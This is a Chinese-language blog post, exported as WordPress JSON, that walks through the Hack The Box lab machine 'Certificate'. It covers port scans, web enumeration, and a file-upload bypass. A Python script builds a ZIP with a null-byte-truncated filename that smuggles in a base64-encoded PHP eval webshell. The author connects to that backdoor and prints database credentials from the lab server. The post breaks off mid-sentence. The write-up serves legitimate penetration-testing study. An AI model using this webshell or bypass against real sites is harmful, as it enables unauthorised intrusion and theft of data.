{"id":293,"date":"2025-06-05T13:01:31","date_gmt":"2025-06-05T05:01:31","guid":{"rendered":"https:\/\/www.misaka19008-lab.icu\/?p=293"},"modified":"2026-01-29T16:18:33","modified_gmt":"2026-01-29T08:18:33","slug":"293","status":"publish","type":"post","link":"https:\/\/www.misaka19008-lab.icu\/index.php\/2025\/06\/05\/293\/","title":{"rendered":"HTB\u9776\u673a Certificate \u6e17\u900f\u6d4b\u8bd5\u8bb0\u5f55"},"content":{"rendered":"
\n

\u76ee\u6807\u4fe1\u606f<\/h1>\n

IP\u5730\u5740\uff1a<\/strong>10.129.129.191<\/strong><\/code>\uff08\u975e\u56fa\u5b9aIP\u5730\u5740\uff09<\/strong><\/p><\/blockquote>\n

\n

\u4fe1\u606f\u6536\u96c6<\/h1>\n

ICMP\u68c0\u6d4b<\/h2>\n
PING 10.129.129.191 (10.129.129.191) 56(84) bytes of data.\n64 bytes from 10.129.129.191: icmp_seq=1 ttl=127 time=401 ms\n64 bytes from 10.129.129.191: icmp_seq=2 ttl=127 time=428 ms\n64 bytes from 10.129.129.191: icmp_seq=3 ttl=127 time=385 ms\n64 bytes from 10.129.129.191: icmp_seq=4 ttl=127 time=344 ms\n\n--- 10.129.129.191 ping statistics ---\n4 packets transmitted, 4 received, 0% packet loss, time 3005ms\nrtt min\/avg\/max\/mdev = 343.574\/389.503\/428.212\/30.645 ms<\/code><\/pre>\n
\u653b\u51fb\u673a\u548c\u9776\u673a\u95f4\u7f51\u7edc\u8fde\u901a\u6027\u826f\u597d\u3002<\/p>\n
\u9632\u706b\u5899\u68c0\u6d4b<\/h2>\n
# Nmap 7.95 scan initiated Sun Jun  1 14:19:32 2025 as: \/usr\/lib\/nmap\/nmap -sF -p- --min-rate 3000 -oN fin_result.txt 10.129.129.191\nNmap scan report for 10.129.129.191\nHost is up (0.34s latency).\nAll 65535 scanned ports on 10.129.129.191 are in ignored states.\nNot shown: 65535 open|filtered tcp ports (no-response)\n\n# Nmap done at Sun Jun  1 14:20:19 2025 -- 1 IP address (1 host up) scanned in 46.72 seconds<\/code><\/pre>\n
\u65e0\u6cd5\u5224\u65ad\u9776\u673a\u9632\u706b\u5899\u72b6\u6001\u3002<\/p>\n
\u7f51\u7edc\u7aef\u53e3\u626b\u63cf<\/h2>\n
TCP<\/strong><\/code>\u7aef\u53e3\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n
# Nmap 7.95 scan initiated Sun Jun  1 14:22:38 2025 as: \/usr\/lib\/nmap\/nmap -sT -sV -A -p- --min-rate 3000 -oN tcp_result.txt 10.129.129.191\nNmap scan report for 10.129.129.191\nHost is up (0.36s latency).\nNot shown: 65514 filtered tcp ports (no-response)\nPORT      STATE SERVICE       VERSION\n53\/tcp    open  domain        Simple DNS Plus\n80\/tcp    open  http          Apache httpd 2.4.58 (OpenSSL\/3.1.3 PHP\/8.0.30)\n|_http-title: Did not follow redirect to http:\/\/certificate.htb\/\n|_http-server-header: Apache\/2.4.58 (Win64) OpenSSL\/3.1.3 PHP\/8.0.30\n88\/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-06-01 14:24:00Z)\n135\/tcp   open  msrpc         Microsoft Windows RPC\n139\/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn\n389\/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: certificate.htb, Site: Default-First-Site-Name)\n|_ssl-date: 2025-06-01T14:25:58+00:00; +8h00m01s from scanner time.\n| ssl-cert: Subject: commonName=DC01.certificate.htb\n| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certificate.htb\n| Not valid before: 2024-11-04T03:14:54\n|_Not valid after:  2025-11-04T03:14:54\n445\/tcp   open  microsoft-ds?\n464\/tcp   open  kpasswd5?\n593\/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0\n636\/tcp   open  ssl\/ldap      Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)\n|_ssl-date: 2025-06-01T14:25:57+00:00; +8h00m01s from scanner time.\n| ssl-cert: Subject: commonName=DC01.certificate.htb\n| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certificate.htb\n| Not valid before: 2024-11-04T03:14:54\n|_Not valid after:  2025-11-04T03:14:54\n3268\/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: certificate.htb, Site: Default-First-Site-Name)\n| ssl-cert: Subject: commonName=DC01.certificate.htb\n| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certificate.htb\n| Not valid before: 2024-11-04T03:14:54\n|_Not valid after:  2025-11-04T03:14:54\n|_ssl-date: 2025-06-01T14:25:58+00:00; +8h00m01s from scanner time.\n3269\/tcp  open  ssl\/ldap      Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)\n|_ssl-date: 2025-06-01T14:25:57+00:00; +8h00m01s from scanner time.\n| ssl-cert: Subject: commonName=DC01.certificate.htb\n| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certificate.htb\n| Not valid before: 2024-11-04T03:14:54\n|_Not valid after:  2025-11-04T03:14:54\n5985\/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP\/UPnP)\n|_http-title: Not Found\n|_http-server-header: Microsoft-HTTPAPI\/2.0\n9389\/tcp  open  mc-nmf        .NET Message Framing\n49667\/tcp open  msrpc         Microsoft Windows RPC\n49685\/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0\n49686\/tcp open  msrpc         Microsoft Windows RPC\n49688\/tcp open  msrpc         Microsoft Windows RPC\n49706\/tcp open  msrpc         Microsoft Windows RPC\n60590\/tcp open  msrpc         Microsoft Windows RPC\n60605\/tcp open  msrpc         Microsoft Windows RPC\nWarning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port\nDevice type: general purpose\nRunning (JUST GUESSING): Microsoft Windows 2019|10 (97%)\nOS CPE: cpe:\/o:microsoft:windows_server_2019 cpe:\/o:microsoft:windows_10\nAggressive OS guesses: Windows Server 2019 (97%), Microsoft Windows 10 1903 - 21H1 (91%)\nNo exact OS matches for host (test conditions non-ideal).\nNetwork Distance: 2 hops\nService Info: Hosts: certificate.htb, DC01; OS: Windows; CPE: cpe:\/o:microsoft:windows\n\nHost script results:\n|_clock-skew: mean: 8h00m00s, deviation: 0s, median: 8h00m00s\n| smb2-security-mode: \n|   3:1:1: \n|_    Message signing enabled and required\n| smb2-time: \n|   date: 2025-06-01T14:25:20\n|_  start_date: N\/A\n\nTRACEROUTE (using proto 1\/icmp)\nHOP RTT       ADDRESS\n1   343.30 ms 10.10.14.1\n2   363.90 ms 10.129.129.191\n\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\n# Nmap done at Sun Jun  1 14:25:59 2025 -- 1 IP address (1 host up) scanned in 201.47 seconds<\/code><\/pre>\n
UDP<\/strong><\/code>\u7aef\u53e3\u5f00\u653e\u5217\u8868\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n
# Nmap 7.95 scan initiated Sun Jun  1 14:27:43 2025 as: \/usr\/lib\/nmap\/nmap -sU -p- --min-rate 3000 -oN udp_ports.txt 10.129.129.191\nNmap scan report for 10.129.129.191\nHost is up (0.34s latency).\nNot shown: 65531 open|filtered udp ports (no-response)\nPORT    STATE SERVICE\n53\/udp  open  domain\n88\/udp  open  kerberos-sec\n123\/udp open  ntp\n389\/udp open  ldap\n\n# Nmap done at Sun Jun  1 14:28:28 2025 -- 1 IP address (1 host up) scanned in 45.09 seconds<\/code><\/pre>\n
UDP<\/strong><\/code>\u7aef\u53e3\u8be6\u7ec6\u4fe1\u606f\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n
\uff08\u65e0\uff09<\/code><\/pre>\n
\u540c\u65f6\u53d1\u73b0\u9776\u673a\u64cd\u4f5c\u7cfb\u7edf\u4e3aWindows Server 2019<\/code>\uff0c\u4e3a\u57df\u63a7\u5236\u5668\uff0c\u8fd8\u5f00\u653e\u4e86HTTP<\/code>\u670d\u52a1\uff0c\u4e3b\u57df\u540d\u4e3acertificate.htb<\/code>\uff0c\u4e3b\u673a\u540d\u4e3adc01<\/code>\u3002<\/p>\n
\n
\u670d\u52a1\u63a2\u6d4b<\/h1>\n
DNS\u670d\u52a1\uff0853\u7aef\u53e3\uff09<\/h2>\n
\u5c1d\u8bd5\u4f7f\u7528dig<\/code>\u5de5\u5177\u67e5\u770bDNS<\/code>\u670d\u52a1\u57fa\u672c\u4fe1\u606f\uff1a<\/p>\n
dig any certificate.htb @dc01.certificate.htb<\/code><\/pre>\n
\"\"<\/p>\n
\u672a\u53d1\u73b0\u5176\u5b83\u4fe1\u606f\uff0c\u5c1d\u8bd5\u7206\u7834\u5b50\u57df\u540d\uff0c\u65e0\u65b0\u57df\u540d\u53d1\u73b0\u3002<\/p>\n
Kerberos\u670d\u52a1\uff0888\u7aef\u53e3\uff09<\/h2>\n
\u9996\u5148\u4f7f\u7528ntpdate<\/code>\u5de5\u5177\u548c\u9776\u673a\u540c\u6b65\u65f6\u95f4\uff1a<\/p>\n
ntpdate -s dc01.certificate.htb<\/code><\/pre>\n
\u968f\u540e\u5c1d\u8bd5\u4f7f\u7528kerbrute<\/code>\u5de5\u5177\u8fdb\u884c\u7528\u6237\u540d\u7206\u7834\uff0c\u4f46\u672a\u53d1\u73b0\u9664Administrator<\/code>\u5916\u7684\u4efb\u4f55\u7528\u6237\u3002<\/p>\n
Web\u5e94\u7528\u7a0b\u5e8f\uff0880\u7aef\u53e3\uff09<\/h2>\n
\u6253\u5f00\u4e3b\u9875\uff1ahttp:\/\/certificate.htb\/<\/code><\/p>\n
\"\"<\/p>\n
\u53d1\u73b0\u76ee\u6807\u7ad9\u70b9\u4e3a\u5728\u7ebf\u6559\u80b2\u5e73\u53f0\u5c55\u793a\u9875\uff0c\u4e3b\u9875\u4e0a\u5b58\u57286<\/code>\u4e2a\u94fe\u63a5\uff0c\u5206\u522b\u6307\u5411\uff1aindex.php<\/code>\u3001about.php<\/code>\u3001login.php<\/code>\u3001register.php<\/code>\u3001blog.php<\/code>\u548ccontacts.php<\/code>\u3002\u5728\u4e3b\u9875\u4e2d\u90e8\uff0c\u53d1\u73b0\u5b58\u5728\u8bfe\u7a0b\u4ecb\u7ecd\u680f\uff0c\u70b9\u51fb\u8bfe\u7a0b\u4ecb\u7ecd\u533a\u5757\u4f1a\u8df3\u8f6c\u81f3course-details.php<\/code>\uff0c\u4f46\u9700\u8981\u767b\u5f55\u67e5\u770b\uff1a<\/p>\n
\"\"<\/p>\n
\u8bbf\u95eeblog.php<\/code>\uff0c\u53d1\u73b0\u8be5\u9875\u9762\u4e3a\u9ad8\u4eff\u8bba\u575b\u9875\u9762\uff0c\u6240\u6709\u9875\u9762\u4e0a\u7684\u5e16\u5b50\u94fe\u63a5\u5747\u4e3a\u5f53\u524d\u5730\u5740\uff0c\u8fd8\u53d1\u73b0\u7591\u4f3c\u5b58\u5728\u4e00\u4e2aHTTP GET<\/code>\u53c2\u6570search<\/code>\uff0c\u4f46\u65e0\u8bba\u8f93\u5165\u4ec0\u4e48\uff0c\u9875\u9762\u90fd\u6ca1\u6709\u53d8\u5316\u3002<\/p>\n
\u8bbf\u95eecontacts.php<\/code>\uff0c\u53d1\u73b0\u4e00\u4e2a\u8868\u5355\uff1a<\/p>\n
\"\"<\/p>\n
\u5c1d\u8bd5\u6d4b\u8bd5SQLi<\/code>\u548cXSS<\/code>\u6f0f\u6d1e\uff0c\u4f46\u4e0d\u5b58\u5728\uff1b\u9664\u6b64\u4e4b\u5916\u53d1\u73b0\u4e00\u4e2a\u7535\u5b50\u90ae\u7bb1support@certificate.htb<\/code>\u3002<\/p>\n
\u76f4\u63a5\u70b9\u51fbRegister<\/code>\u94fe\u63a5\uff0c\u8df3\u8f6c\u81f3\u7528\u6237\u6ce8\u518c\u754c\u9762\uff0c\u6ce8\u518c\u4e00\u4e2a\u65b0\u7528\u6237\u5e76\u767b\u5f55\uff1a<\/p>\n
\"\"<\/p>\n
\u767b\u5f55\u540e\u8df3\u8f6c\u81f3\u4e3b\u9875\uff0c\u53d1\u73b0\u9875\u9762\u9876\u90e8\u94fe\u63a5\u680f\u65b0\u51fa\u73b0\u4e86\u4e00\u4e2a\u94fe\u63a5Courses<\/code>\uff0c\u70b9\u51fb\u4e4b\u540e\u8df3\u8f6c\u5230\u4e86courses.php<\/code>\u8bfe\u7a0b\u9009\u62e9\u754c\u9762\uff1a<\/p>\n
\"\"<\/p>\n
\u968f\u4fbf\u70b9\u51fb\u4e00\u9879\u8bfe\u7a0b\uff0c\u8df3\u8f6c\u81f3course-details.php<\/code>\u8bfe\u7a0b\u8d2d\u4e70\u9875\u9762\uff0c\u70b9\u51fbEnroll<\/code>\u6309\u94ae\u5c1d\u8bd5\u9884\u8ba2\u8bfe\u7a0b\uff1a<\/p>\n
\"\"<\/p>\n
\u540c\u65f6\u53d1\u73b0\u9875\u9762\u5c3e\u90e8\u51fa\u73b0\u4e86\u89c2\u770b\u8bfe\u7a0b\u89c6\u9891\u548c\u63d0\u4ea4\u4f5c\u4e1a\u7684\u6309\u94ae\uff1a<\/p>\n
\"\"<\/p>\n
\u70b9\u51fbSUBMIT<\/code>\u6309\u94ae\uff0c\u53d1\u73b0\u8df3\u8f6c\u81f3\u4e86upload.php<\/code>\u6587\u4ef6\u4e0a\u4f20\u9875\u9762\uff1a<\/p>\n
\"\"<\/p>\n
\u6839\u636e\u9875\u9762\u63cf\u8ff0\uff0c\u4f5c\u4e1a\u63d0\u4ea4\u9875\u9762\u53ea\u5141\u8bb8\u4e0a\u4f20.pdf<\/code>\u3001.docx<\/code>\u3001.pptx<\/code>\u548c.xlsx<\/code>\u6587\u4ef6\uff0c\u4e5f\u53ef\u4ee5\u5c06\u4e00\u4efd\u4e3a\u4e0a\u8ff0\u56db\u79cd\u7c7b\u578b\u4e4b\u4e00\u7684\u6587\u4ef6\u6253\u5305\u5728ZIP<\/code>\u538b\u7f29\u5305\u5185\u4e0a\u4f20\u3002<\/p>\n
\n
\u6e17\u900f\u6d4b\u8bd5<\/h1>\n
ZIP\u6587\u4ef6\u540d\u5143\u4fe1\u606f\u622a\u65ad\u7ed5\u8fc7<\/h2>\n
\u5728\u4e4b\u524d\u7684\u670d\u52a1\u63a2\u6d4b\u8fc7\u7a0b\u4e2d\uff0c\u6211\u4eec\u5df2\u7ecf\u53d1\u73b0\u4e86\u7528\u4e8e\u5b9e\u73b0\u4f5c\u4e1a\u63d0\u4ea4\u529f\u80fd\u7684\u6587\u4ef6\u4e0a\u4f20\u754c\u9762\uff0c\u73b0\u5728\u5c1d\u8bd5\u8fdb\u884c\u4e0a\u4f20\u7ed5\u8fc7\u3002\u9996\u5148\u5c1d\u8bd5\u65b0\u5efa\u4e00\u4efdTXT<\/code>\u6587\u4ef6\u4e0a\u4f20\uff1a<\/p>\n
\"\"<\/p>\n
\"\"<\/p>\n
\u53d1\u73b0\u63d0\u793aMIME<\/code>\u7c7b\u578b\u9519\u8bef\uff0c\u5c1d\u8bd5\u66f4\u6539\u4e3aapplication\/vnd.openxmlformats-officedocument.wordprocessingml.document<\/code>\u7c7b\u578b\uff0c\u63d0\u793a\u6587\u4ef6\u540e\u7f00\u540d\u9519\u8bef\uff1a<\/p>\n
\"\"<\/p>\n
\u7ecf\u8fc7\u8fdb\u4e00\u6b65\u6d4b\u8bd5\uff0c\u53d1\u73b0\u540e\u7aef\u7a0b\u5e8f\u91c7\u7528\u4e86\u540e\u7f00\u540d\u548cMIME<\/code>\u7c7b\u578b\u76f8\u5339\u914d\u7684\u53cc\u91cd\u767d\u540d\u5355\u673a\u5236\uff0c\u5982\u679c\u540e\u7f00\u540d\u975e\u6cd5\u6216\u4e0eMIME<\/code>\u7c7b\u578b\u4e0d\u5bf9\u5e94\uff0c\u5219\u65e0\u6cd5\u8fdb\u884c\u4e0a\u4f20\u3002<\/p>\n
\u5c1d\u8bd5\u5c06\u6587\u4ef6\u540e\u7f00\u540d\u6539\u4e3a.docx<\/code>\uff0c\u53d1\u73b0\u5373\u4f7f\u6587\u4ef6\u540e\u7f00\u540d\u548cMIME<\/code>\u5408\u6cd5\u4e14\u76f8\u7b26\u5408\uff0c\u7a0b\u5e8f\u4e5f\u4f1a\u68c0\u6d4b\u6587\u4ef6\u4e8c\u8fdb\u5236\u683c\u5f0f\u662f\u5426\u5408\u6cd5\uff0c\u5373\u4f7f\u6dfb\u52a0DOCX<\/code>\u6587\u4ef6\u5934\u4e5f\u65e0\u6cd5\u7ed5\u8fc7\uff1a<\/p>\n
\"\"<\/p>\n
\u5c1d\u8bd5\u5c06\u4e00\u4e2atest.txt<\/code>\u6587\u4ef6\u6539\u540d\u4e3atest.docx<\/code>\u6253\u5305\u5728ZIP<\/code>\u538b\u7f29\u5305\u4e2d\u4e0a\u4f20\uff0c\u53d1\u73b0\u4e0a\u4f20\u6210\u529f\uff0c\u6587\u4ef6\u88ab\u81ea\u52a8\u89e3\u538b\uff1a<\/p>\n
\"\"<\/p>\n
\u7ecf\u8fc7\u8fdb\u4e00\u6b65\u6d4b\u8bd5\uff0c\u53d1\u73b0\u4e0a\u4f20ZIP<\/code>\u6587\u4ef6\u65f6\uff0c\u7a0b\u5e8f\u4ec5\u4f1a\u68c0\u67e5\u538b\u7f29\u5305\u5185\u6587\u4ef6\u7684\u540e\u7f00\u540d\uff0c\u4e0d\u4f1a\u68c0\u67e5\u6587\u4ef6\u4e8c\u8fdb\u5236\u683c\u5f0f\u5408\u6cd5\u6027\u3002<\/p>\n
\u5bf9\u4e8e\u8fd9\u79cd\u60c5\u51b5\uff0c\u6211\u4eec\u53ef\u4ee5\u5c06WebShell<\/code>\u6253\u5305\u5728\u538b\u7f29\u5305\u5185\uff0c\u4f7f\u752816<\/code>\u8fdb\u5236\u5b57\u7b26\\x00<\/code>\u5bf9\u538b\u7f29\u5305\u6587\u4ef6\u540d\u5143\u4fe1\u606f\u5b57\u7b26\u4e32\u8fdb\u884c\u622a\u65ad\u7684\u65b9\u6cd5\u7ed5\u8fc7\u3002\u6bd4\u5982\uff0cWebShell<\/code>\u540d\u79f0\u4e3asparkle.php<\/code>\uff0c\u90a3\u4e48\u6211\u4eec\u5c31\u53ef\u4ee5\u4f7f\u752816<\/code>\u8fdb\u5236\u622a\u65ad\u5b57\u7b26\uff0c\u53d8\u6587\u4ef6\u540d\u4e3asparkle.php\\x00.docx<\/code>\u3002\u8fd9\u6837\uff0c\u7531\u4e8eZIP<\/code>\u538b\u7f29\u5305\u5185\u6587\u4ef6\u540d\u4fe1\u606f\u5b57\u7b26\u4e32\u65e0\u9650\u5236\uff0c\u800cNTFS<\/code>\u6587\u4ef6\u7cfb\u7edf\u7684\u6587\u4ef6\u540d\u6709\u5b57\u7b26\u9650\u5236\u7684\u539f\u56e0\uff0c\u7a0b\u5e8f\u4f1a\u68c0\u6d4b\u5230\u540e\u7f00\u540d.docx<\/code>\uff0c\u8ba4\u4e3a\u8be5\u6587\u4ef6\u5408\u6cd5\uff0c\u968f\u5373\u8c03\u7528\u7cfb\u7edfAPI<\/code>\u89e3\u538b\u6587\u4ef6\uff1b\u64cd\u4f5c\u7cfb\u7edf\u89e3\u538b\u6587\u4ef6\u65f6\uff0c\u8bfb\u53d6\u5230\\x00<\/code>\u622a\u65ad\u5b57\u7b26\uff0c\u6587\u4ef6\u540d\u5c31\u53d8\u4e3a\u4e86sparkle.php<\/code>\u3002<\/p>\n
\u8981\u5b9e\u73b0\u4ee5\u4e0a\u6548\u679c\uff0c\u6211\u4eec\u9700\u8981\u4f7f\u7528Python<\/code>\u7684zipfile<\/code>\u7c7b\u5e93\uff0c\u7ec4\u88c5ZIP<\/code>\u538b\u7f29\u5305\u6587\u4ef6\u5143\u4fe1\u606f\u7684\u65b9\u6cd5\u5b9e\u73b0\uff1a<\/p>\n
#!\/usr\/bin\/python3\nimport base64\nimport zipfile\n\nphp_backdoor_name = f'sparkle.php\\x00.docx'\nphp_backdoor_content = '''\nR0lGODlhCjw\/cGhwCiAgJGNvZGUgPSAkX1BPU1RbImNvZGUiXTsKICBlY2hvKGV2YWwoJGNvZGUpKTsKPz4K\n'''\nphp_backdoor_content = base64.b64decode(php_backdoor_content).decode(\"utf-8\")\nmalicious_zipfile_metadata = zipfile.ZipInfo(filename=\"\", date_time=(2025, 6, 4, 10, 3, 0))\nmalicious_zipfile_metadata.filename = php_backdoor_name\n\nwith zipfile.ZipFile(\"sparkle.zip\", \"w\") as zip_f:\n    zip_f.writestr(malicious_zipfile_metadata, php_backdoor_content)<\/code><\/pre>\n
\u811a\u672c\u8fd0\u884c\u5b8c\u6bd5\u540e\uff0c\u5c06\u751f\u6210\u7684sparkle.zip<\/code>\u6587\u4ef6\u4e0a\u4f20\uff1a<\/p>\n
\"\"<\/p>\n
\u968f\u540e\u6309\u7167\u89c4\u5f8b\uff0c\u4f7f\u7528\u4e2d\u56fd\u8681\u5251\u5de5\u5177\u8fde\u63a5\u540e\u95e8\uff1ahttp:\/\/certificate.htb\/static\/uploads\/371dcc2325f3edac50d1371fb8b09481\/sparkle.php<\/code>\uff08\u53c2\u6570\u540d\u4e3acode<\/code>\uff09<\/p>\n
\"\"<\/p>\n
\u540e\u95e8\u8fde\u63a5\u6210\u529f\uff01<\/p>\n
\u7834\u89e3\u7ad9\u70b9\u7528\u6237\u54c8\u5e0c\u83b7\u5f97\u51ed\u636e<\/h2>\n
\u8fde\u63a5WebShell<\/code>\u540e\uff0c\u53d1\u73b0\u867d\u7136\u540e\u95e8\u53ef\u4ee5\u6210\u529f\u8fd0\u884c\uff0c\u4f46\u65e0\u6cd5\u6b63\u5e38\u6267\u884c\u64cd\u4f5c\u7cfb\u7edf\u547d\u4ee4\uff0c\u53ea\u80fd\u5bf9\u7cfb\u7edf\u76ee\u5f55\u4e0b\u7684\u6587\u4ef6\u8fdb\u884c\u67e5\u770b\uff0c\u4e8e\u662f\u653e\u5f03\u53cd\u5f39Shell<\/code>\uff0c\u8f6c\u800c\u8fdb\u884c\u76ee\u5f55\u4fe1\u606f\u6536\u96c6\u3002<\/p>\n
\u7ecf\u8fc7\u67e5\u770b\uff0c\u5728\u9776\u673a\u7f51\u7ad9\u6839\u76ee\u5f55\u4e0b\u53d1\u73b0\u6570\u636e\u5e93\u8fde\u63a5\u914d\u7f6e\u811a\u672c\uff1aC:\\xampp\\htdocs\\certificate.htb\\db.php<\/code>\uff1a<\/p>\n
\"\"<\/p>\n
\u76f4\u63a5\u67e5\u770b\u5176\u5185\u5bb9\uff1a<\/p>\n
<?php\n\/\/ Database connection using PDO\ntry {\n    $dsn = 'mysql:host=localhost;dbname=Certificate_WEBAPP_DB;charset=utf8mb4';\n    $db_user = 'certificate_webapp_user'; \/\/ Change to your DB username\n    $db_passwd = 'cert!f!c@teDBPWD'; \/\/ Change to your DB password\n    $options = [\n        PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,\n        PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,\n    ];\n    $pdo = new PDO($dsn, $db_user, $db_passwd, $options);\n} catch (PDOException $e) {\n    die('Database connection failed: ' . $e->getMessage());\n}\n?><\/code><\/pre>\n
\u6210\u529f\u53d1\u73b0\u6570\u636e\u5e93\u8fde\u63a5\u51ed\u636e\uff1a<\/p>\n